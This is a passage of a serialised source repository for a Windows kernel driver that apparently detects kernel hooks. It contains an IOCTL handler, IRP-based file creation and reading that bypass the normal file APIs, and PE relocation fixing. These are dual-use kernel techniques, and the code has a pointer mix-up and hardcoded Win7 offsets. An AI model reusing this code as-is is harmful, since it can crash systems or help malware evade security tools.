IoGetCurrentIrpStackLocation(Irp);\r\n InputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;\r\n OutputBuffer = Irp->UserBuffer;\r\n InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n OutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;\r\n\r\n switch(IoControlCode)\r\n {\r\n case CTL_CHECKKERNELMODULE:\r\n {\r\n if (!MmIsAddressValid(OutputBuffer))\r\n {\r\n Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n Irp->IoStatus.Information = 0;\r\n break;\r\n }\r\n __try\r\n {\r\n ProbeForWrite(OutputBuffer,OutputSize,sizeof(PVOID));\r\n Status = KernelHookCheck((PINLINEHOOKINFO)OutputBuffer);\r\n Irp->IoStatus.Information = 0; \r\n Status = Irp->IoStatus.Status = Status;\r\n }\r\n __except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n Irp->IoStatus.Information = 0;\r\n Status = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n }\r\n Irp->IoStatus.Information = 0;\r\n Status = Irp->IoStatus.Status = Status;\r\n break;\r\n }\r\n default:\r\n {\r\n Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n Irp->IoStatus.Information = 0;\r\n break;\r\n }\r\n }\r\n IoCompleteRequest(Irp,IO_NO_INCREMENT);\r\n return Status;\r\n}\r\n\r\n\r\nNTSTATUS\r\n DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)\r\n{\r\n Irp->IoStatus.Information = 0;\r\n Irp->IoStatus.Status = STATUS_SUCCESS;\r\n IoCompleteRequest(Irp,IO_NO_INCREMENT);\r\n return STATUS_SUCCESS;\r\n}\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n UNICODE_STRING uniLinkName;\r\n PDEVICE_OBJECT CurrentDeviceObject;\r\n PDEVICE_OBJECT NextDeviceObject;\r\n RtlInitUnicodeString(&uniLinkName,LINK_NAME);\r\n IoDeleteSymbolicLink(&uniLinkName);\r\n if (DriverObject->DeviceObject!=NULL)\r\n {\r\n CurrentDeviceObject = DriverObject->DeviceObject;\r\n while(CurrentDeviceObject!=NULL)\r\n {\r\n NextDeviceObject = CurrentDeviceObject->NextDevice;\r\n IoDeleteDevice(CurrentDeviceObject);\r\n CurrentDeviceObject = NextDeviceObject;\r\n }\r\n }\r\n DbgPrint(\"UnloadDriver\\r\\n\");\r\n}\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h", "content": "#include \r\n#include \r\n#pragma once\r\n\r\n\r\n#define DEVICE_NAME L\"\\\\Device\\\\CheckKernelHookDeviceName\"\r\n#define LINK_NAME L\"\\\\DosDevices\\\\CheckKernelHookLinkName\"\r\n#define CTL_CHECKKERNELMODULE \\\r\n CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n\r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject);\r\nNTSTATUS\r\n DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);\r\nNTSTATUS\r\n ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);\r\n\r\ntypedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION\r\n ULONG ulHookType;\r\n ULONG ulMemoryFunctionBase; //ԭʼַ\r\n ULONG ulMemoryHookBase; //HOOK ַ\r\n CHAR lpszFunction[256];\r\n CHAR lpszHookModuleImage[256];\r\n ULONG ulHookModuleBase;\r\n ULONG ulHookModuleSize;\r\n\r\n} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION;\r\n\r\ntypedef struct _INLINEHOOKINFO { //InlineHook\r\n ULONG ulCount;\r\n INLINEHOOKINFO_INFORMATION InlineHook[1];\r\n} INLINEHOOKINFO, *PINLINEHOOKINFO;\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c", "content": "#include \"FileSystem.h\"\r\n\r\n\r\n\r\n\r\n/*ļ൱ԼʵIoCreateFile FileObjectеIrpListѭָ*/\r\nNTSTATUS\r\n IrpCreateFile(\r\n IN PUNICODE_STRING FilePath,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN ULONG FileAttributes,\r\n IN ULONG ShareAccess,\r\n IN ULONG CreateDisposition,\r\n IN ULONG CreateOptions,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PDEVICE_OBJECT RealDevice,\r\n OUT PFILE_OBJECT *FileObject\r\n )\r\n{\r\n NTSTATUS ntStatus;\r\n\r\n HANDLE hFile;\r\n PFILE_OBJECT _FileObject;\r\n UNICODE_STRING UniDeviceNameString;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n IO_STATUS_BLOCK IoStatusBlock;\r\n WCHAR *FileNameBuffer=NULL;\r\n WORD FileObjectSize;\r\n\r\n\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n ACCESS_STATE AccessState;\r\n AUX_ACCESS_DATA AuxData;\r\n IO_SECURITY_CONTEXT SecurityContext;\r\n\r\n PLIST_ENTRY IrpList;\r\n\r\n InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_CASE_INSENSITIVE, 0, NULL);\r\n\r\n //in win7 x86\r\n FileObjectSize=0x80;\r\n\r\n\r\n //ļ\r\n ntStatus = ObCreateObject(KernelMode,\r\n *IoFileObjectType,\r\n &ObjectAttributes,\r\n KernelMode,\r\n NULL,\r\n FileObjectSize,\r\n 0,\r\n 0,\r\n &_FileObject);\r\n\r\n if(!NT_SUCCESS(ntStatus))\r\n {\r\n return ntStatus;\r\n }\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); //Irpջڴռ СΪ֮ǰѯDeviceObject->Size\r\n if(Irp == NULL)\r\n {\r\n ObDereferenceObject(_FileObject);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n RtlZeroMemory(_FileObject, FileObjectSize);\r\n _FileObject->Type = IO_TYPE_FILE; //ļ\r\n _FileObject->Size = FileObjectSize; //ļС\r\n _FileObject->DeviceObject = RealDevice; //ѯľ豸\r\n _FileObject->Flags = FO_SYNCHRONOUS_IO;\r\n FileNameBuffer=ExAllocatePool(NonPagedPool,FilePath->MaximumLength);\r\n if (FileNameBuffer==NULL)\r\n {\r\n ObDereferenceObject(_FileObject);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n RtlCopyMemory(FileNameBuffer,FilePath->Buffer,FilePath->Length);//ļеļ· \r\n _FileObject->FileName.Buffer=FileNameBuffer; //\r\n _FileObject->FileName.Length=FilePath->Length;\r\n _FileObject->FileName.MaximumLength=FilePath->MaximumLength;\r\n\r\n\r\n IrpList=(PLIST_ENTRY)((DWORD)FileObject+0x74); //IrpList ѭָ\r\n IrpList->Flink=IrpList;\r\n IrpList->Blink=IrpList;\r\n\r\n KeInitializeEvent(&_FileObject->Lock, SynchronizationEvent, FALSE);\r\n KeInitializeEvent(&_FileObject->Event, NotificationEvent, FALSE);\r\n\r\n RtlZeroMemory(&AuxData, sizeof(AUX_ACCESS_DATA));\r\n ntStatus = SeCreateAccessState( &AccessState, //Ȩ\r\n &AuxData,\r\n DesiredAccess,\r\n IoGetFileObjectGenericMapping());\r\n\r\n if (!NT_SUCCESS(ntStatus))\r\n {\r\n IoFreeIrp(Irp);\r\n ObDereferenceObject(_FileObject);\r\n ExFreePool(FileNameBuffer);\r\n return ntStatus;\r\n }\r\n\r\n SecurityContext.SecurityQos = NULL;\r\n SecurityContext.AccessState = &AccessState;\r\n SecurityContext.DesiredAccess = DesiredAccess;\r\n SecurityContext.FullCreateOptions = 0;\r\n\r\n Irp->MdlAddress = NULL;\r\n Irp->AssociatedIrp.SystemBuffer = NULL;\r\n Irp->Flags = IRP_CREATE_OPERATION|IRP_SYNCHRONOUS_API;\r\n Irp->RequestorMode = KernelMode;\r\n Irp->UserIosb = &IoStatusBlock;\r\n Irp->UserEvent = &kEvent;\r\n Irp->PendingReturned = FALSE;\r\n Irp->Cancel = FALSE;\r\n Irp->CancelRoutine = NULL;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.AuxiliaryBuffer = NULL;\r\n Irp->Tail.Overlay.OriginalFileObject = _FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_CREATE;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = _FileObject;\r\n IrpSp->Parameters.Create.SecurityContext = &SecurityContext;\r\n IrpSp->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions;\r\n IrpSp->Parameters.Create.FileAttributes = (USHORT)FileAttributes;\r\n IrpSp->Parameters.Create.ShareAccess = (USHORT)ShareAccess;\r\n IrpSp->Parameters.Create.EaLength = 0;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n if(ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n ntStatus = IoStatusBlock.Status;\r\n\r\n if(!NT_SUCCESS(ntStatus))\r\n {\r\n _FileObject->DeviceObject = NULL;\r\n ObDereferenceObject(_FileObject);\r\n\r\n }\r\n else\r\n {//ü\r\n InterlockedIncrement(&_FileObject->DeviceObject->ReferenceCount);\r\n if (_FileObject->Vpb)\r\n InterlockedIncrement(&_FileObject->Vpb->ReferenceCount);\r\n *FileObject = _FileObject;\r\n }\r\n\r\n\r\n return ntStatus;\r\n}\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n IoCompletionRoutine(\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PIRP Irp,\r\n IN PVOID Context)\r\n{\r\n *Irp->UserIosb = Irp->IoStatus;\r\n if (Irp->UserEvent)\r\n KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);\r\n if (Irp->MdlAddress)\r\n {\r\n IoFreeMdl(Irp->MdlAddress);\r\n Irp->MdlAddress = NULL;\r\n }\r\n IoFreeIrp(Irp);\r\n return STATUS_MORE_PROCESSING_REQUIRED;\r\n}\r\n\r\n\r\n\r\n\r\n//ѯirpջϢFileObject\r\nNTSTATUS\r\n IrpQueryInformationFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PVOID FileInformation,\r\n IN ULONG Length,\r\n IN FILE_INFORMATION_CLASS FileInformationClass)\r\n{\r\n NTSTATUS ntStatus;\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n IO_STATUS_BLOCK IoStatusBlock;\r\n\r\n // if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL)\r\n // return STATUS_UNSUCCESSFUL;\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);\r\n if(Irp == NULL) \r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n RtlZeroMemory(FileInformation, Length);\r\n Irp->AssociatedIrp.SystemBuffer = FileInformation;\r\n Irp->UserEvent = &kEvent;\r\n Irp->UserIosb = &IoStatusBlock;\r\n Irp->RequestorMode = KernelMode;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.OriginalFileObject = FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = FileObject;\r\n IrpSp->Parameters.QueryFile.Length = Length;\r\n IrpSp->Parameters.QueryFile.FileInformationClass = FileInformationClass;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n\r\n if (ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n return IoStatusBlock.Status;\r\n}\r\n\r\n\r\n\r\n//Irp󣬽ļ뻺\r\nNTSTATUS\r\n IrpReadFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n OUT PVOID Buffer,\r\n IN ULONG Length,\r\n IN PLARGE_INTEGER ByteOffset OPTIONAL)\r\n{\r\n NTSTATUS ntStatus;\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n // \r\n\r\n\r\n if(ByteOffset == NULL)\r\n {\r\n if(!(FileObject->Flags & FO_SYNCHRONOUS_IO))\r\n return STATUS_INVALID_PARAMETER;\r\n ByteOffset = &FileObject->CurrentByteOffset;\r\n }\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);\r\n if(Irp == NULL) return STATUS_INSUFFICIENT_RESOURCES;\r\n\r\n RtlZeroMemory(Buffer, Length);\r\n if(FileObject->DeviceObject->Flags & DO_BUFFERED_IO) //巽ʽ\r\n {\r\n Irp->AssociatedIrp.SystemBuffer = Buffer;\r\n }\r\n else if(FileObject->DeviceObject->Flags & DO_DIRECT_IO) //ֱӷʽ\r\n {\r\n Irp->MdlAddress = IoAllocateMdl(Buffer, Length, 0, 0, 0);\r\n if (Irp->MdlAddress == NULL)\r\n {\r\n IoFreeIrp(Irp);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n MmBuildMdlForNonPagedPool(Irp->MdlAddress);\r\n }\r\n else //ʽ\r\n {\r\n Irp->UserBuffer = Buffer;\r\n }\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n Irp->UserEvent = &kEvent;\r\n Irp->UserIosb = IoStatusBlock;\r\n Irp->RequestorMode = KernelMode;\r\n Irp->Flags = IRP_READ_OPERATION;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.OriginalFileObject = FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_READ;\r\n IrpSp->MinorFunction = IRP_MN_NORMAL;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = FileObject;\r\n IrpSp->Parameters.Read.Length = Length;\r\n IrpSp->Parameters.Read.ByteOffset = *ByteOffset;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n if (ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n return IoStatusBlock->Status;\r\n}\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n IrpCreateFile(\r\n IN PUNICODE_STRING FilePath,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN ULONG FileAttributes,\r\n IN ULONG ShareAccess,\r\n IN ULONG CreateDisposition,\r\n IN ULONG CreateOptions,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PDEVICE_OBJECT RealDevice,\r\n OUT PFILE_OBJECT *FileObject\r\n );\r\nNTSTATUS\r\n IoCompletionRoutine(\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PIRP Irp,\r\n IN PVOID Context);\r\n\r\n\r\nNTSTATUS\r\n IrpQueryInformationFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PVOID FileInformation,\r\n IN ULONG Length,\r\n IN FILE_INFORMATION_CLASS FileInformationClass);\r\n\r\n\r\n//Irp󣬽ļ뻺\r\nNTSTATUS\r\n IrpReadFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n OUT PVOID Buffer,\r\n IN ULONG Length,\r\n IN PLARGE_INTEGER ByteOffset OPTIONAL);\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c", "content": "#include \"FixRelocation.h\"\r\n\r\n\r\n\r\n/*\r\nضλ ޸\r\n*/\r\nBOOLEAN\r\n FixBaseRelocTable (\r\n PVOID NewImageBase,\r\n DWORD ExistImageBase\r\n )\r\n{\r\n LONGLONG Diff;\r\n ULONG TotalCountBytes = 0;\r\n ULONG_PTR VA;\r\n ULONGLONG OriginalImageBase;\r\n ULONG SizeOfBlock;\r\n PUCHAR FixupVA;\r\n USHORT Offset;\r\n PUSHORT NextOffset = NULL;\r\n PIMAGE_NT_HEADERS NtHeaders;\r\n PIMAGE_BASE_RELOCATION NextBlock;\r\n\r\n\r\n NtHeaders = RtlImageNtHeader( NewImageBase );\r\n if (NtHeaders == NULL) \r\n {\r\n return FALSE;\r\n }\r\n\r\n switch (NtHeaders->OptionalHeader.Magic) {\r\n\r\n case IMAGE_NT_OPTIONAL_HDR32_MAGIC:\r\n\r\n OriginalImageBase =\r\n ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase;\r\n break;\r\n\r\n case IMAGE_NT_OPTIONAL_HDR64_MAGIC:\r\n\r\n OriginalImageBase =\r\n ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase;\r\n break;\r\n\r\n default:\r\n return FALSE;\r\n }\r\n\r\n //\r\n // Locate the relocation section.\r\n //\r\n\r\n NextBlock = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(\r\n NewImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &TotalCountBytes);\r\n\r\n //\r\n // It is possible for a file to have no relocations, but the relocations\r\n // must not have been stripped.\r\n //\r\n\r\n if (!NextBlock || !TotalCountBytes) \r\n {\r\n\r\n if (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) \r\n {\r\n DbgPrint(\"Image can't be relocated, no fixup information.\\n\");\r\n return FALSE;\r\n\r\n }\r\n else \r\n {\r\n return TRUE;\r\n }\r\n\r\n }\r\n\r\n //\r\n // If the image has a relocation table, then apply the specified fixup\r\n // information to the image.\r\n //\r\n Diff = (ULONG_PTR)ExistImageBase - OriginalImageBase;\r\n while (TotalCountBytes)\r\n {\r\n SizeOfBlock = NextBlock->SizeOfBlock;\r\n TotalCountBytes -= SizeOfBlock;\r\n SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION);\r\n SizeOfBlock /= sizeof(USHORT);\r\n NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION));\r\n\r\n VA = (ULONG_PTR)NewImageBase + NextBlock->VirtualAddress;\r\n\r\n if ( !(NextBlock = LdrProcessRelocationBlockLongLong( VA,\r\n SizeOfBlock,\r\n NextOffset,\r\n Diff)) ) \r\n {\r\n\r\n DbgPrint(\"%s: Unknown base relocation type\\n\");\r\n return FALSE;\r\n\r\n }\r\n }\r\n\r\n return TRUE;\r\n}\r\n\r\n\r\n\r\n/*޸ضλ*/\r\nPIMAGE_BASE_RELOCATION\r\n LdrProcessRelocationBlockLongLong(\r\n IN ULONG_PTR VA,\r\n IN ULONG SizeOfBlock,\r\n IN PUSHORT NextOffset,\r\n IN LONGLONG Diff\r\n )\r\n{\r\n PUCHAR FixupVA;\r\n USHORT Offset;\r\n LONG Temp;\r\n ULONG Temp32;\r\n ULONGLONG Value64;\r\n LONGLONG Temp64;\r\n\r\n\r\n\r\n while (SizeOfBlock--) {\r\n\r\n Offset = *NextOffset & (USHORT)0xfff;\r\n FixupVA = (PUCHAR)(VA + Offset);\r\n\r\n //\r\n // Apply the fixups.\r\n //\r\n\r\n switch ((*NextOffset) >> 12) {\r\n\r\n case IMAGE_REL_BASED_HIGHLOW :\r\n //\r\n // HighLow - (32-bits) relocate the high and low half\r\n // of an address.\r\n //\r\n *(LONG UNALIGNED *)FixupVA += (ULONG) Diff;\r\n break;\r\n\r\n case IMAGE_REL_BASED_HIGH :\r\n //\r\n // High - (16-bits) relocate the high half of an address.\r\n //\r\n Temp = *(PUSHORT)FixupVA << 16;\r\n Temp += (ULONG) Diff;\r\n *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);\r\n break;\r\n\r\n case IMAGE_REL_BASED_HIGHADJ :\r\n //\r\n // Adjust high - (16-bits) relocate the high half of an\r\n // address and adjust for sign extension of low half.\r\n //\r\n\r\n //\r\n // If the address has already been relocated then don't\r\n // process it again now or information will be lost.\r\n //\r\n if (Offset & LDRP_RELOCATION_FINAL) {\r\n ++NextOffset;\r\n --SizeOfBlock;\r\n break;\r\n }\r\n\r\n Temp = *(PUSHORT)FixupVA << 16;\r\n ++NextOffset;\r\n --SizeOfBlock;\r\n Temp += (LONG)(*(PSHORT)NextOffset);\r\n Temp += (ULONG) Diff;\r\n Temp += 0x8000;\r\n *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_LOW :\r\n //\r\n // Low - (16-bit) relocate the low half of an address.\r\n //\r\n Temp = *(PSHORT)FixupVA;\r\n Temp += (ULONG) Diff;\r\n *(PUSHORT)FixupVA = (USHORT)Temp;\r\n break;\r\n\r\n case IMAGE_REL_BASED_IA64_IMM64:\r\n\r\n //\r\n // Align it to bundle address before fixing up the\r\n // 64-bit immediate value of the movl instruction.\r\n //\r\n\r\n FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15));\r\n Value64 = (ULONGLONG)0;\r\n\r\n //\r\n // Extract the lower 32 bits of IMM64 from bundle\r\n //\r\n\r\n\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM7B_SIZE_X,\r\n EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM7B_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM9D_SIZE_X,\r\n EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM9D_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM5C_SIZE_X,\r\n EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM5C_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X,\r\n EMARCH_ENC_I17_IC_SIZE_X,\r\n EMARCH_ENC_I17_IC_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IC_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM41a_SIZE_X,\r\n EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41a_VAL_POS_X);\r\n\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41b_SIZE_X,\r\n EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41b_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41c_SIZE_X,\r\n EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41c_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),\r\n EMARCH_ENC_I17_SIGN_SIZE_X,\r\n EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_SIGN_VAL_POS_X);\r\n //\r\n // Update 64-bit address\r\n //\r\n\r\n Value64+=Diff;\r\n\r\n //\r\n // Insert IMM64 into bundle\r\n //\r\n\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM7B_SIZE_X,\r\n EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM7B_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM9D_SIZE_X,\r\n EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM9D_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM5C_SIZE_X,\r\n EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM5C_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X),\r\n EMARCH_ENC_I17_IC_SIZE_X,\r\n EMARCH_ENC_I17_IC_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IC_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41a_SIZE_X,\r\n EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41a_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41b_SIZE_X,\r\n EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41b_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41c_SIZE_X,\r\n EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41c_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),\r\n EMARCH_ENC_I17_SIGN_SIZE_X,\r\n EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_SIGN_VAL_POS_X);\r\n break;\r\n\r\n case IMAGE_REL_BASED_DIR64:\r\n\r\n *(ULONGLONG UNALIGNED *)FixupVA += Diff;\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_MIPS_JMPADDR :\r\n //\r\n // JumpAddress - (32-bits) relocate a MIPS jump address.\r\n //\r\n Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2;\r\n Temp += (ULONG) Diff;\r\n *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) |\r\n ((Temp >> 2) & 0x3ffffff);\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_ABSOLUTE :\r\n //\r\n // Absolute - no fixup required.\r\n //\r\n break;\r\n\r\n case IMAGE_REL_BASED_SECTION :\r\n //\r\n // Section Relative reloc. Ignore for now.\r\n //\r\n break;\r\n\r\n case IMAGE_REL_BASED_REL32 :\r\n //\r\n // Relative intrasection. Ignore for now.\r\n //\r\n break;\r\n\r\n default :\r\n //\r\n // Illegal - illegal relocation type.\r\n //\r\n\r\n return (PIMAGE_BASE_RELOCATION)NULL;\r\n }\r\n ++NextOffset;\r\n }\r\n return (PIMAGE_BASE_RELOCATION)NextOffset;\r\n}\r\n\r\n\r\n/*\r\nNtHeader\r\n*/\r\nNTSTATUS\r\n NTAPI\r\n RtlImageNtHeaderEx(\r\n ULONG Flags,\r\n PVOID Base,\r\n ULONG64 Size,\r\n OUT PIMAGE_NT_HEADERS * OutHeaders\r\n )\r\n\r\n{\r\n PIMAGE_NT_HEADERS NtHeaders = 0;\r\n ULONG e_lfanew = 0;\r\n BOOLEAN RangeCheck = 0;\r\n NTSTATUS Status = 0;\r\n const ULONG ValidFlags = \r\n RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK;\r\n\r\n if (OutHeaders != NULL) {\r\n *OutHeaders = NULL;\r\n }\r\n if (OutHeaders == NULL) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n if ((Flags & ~ValidFlags) != 0) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n if (Base == NULL || Base == (PVOID)(LONG_PTR)-1) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n\r\n 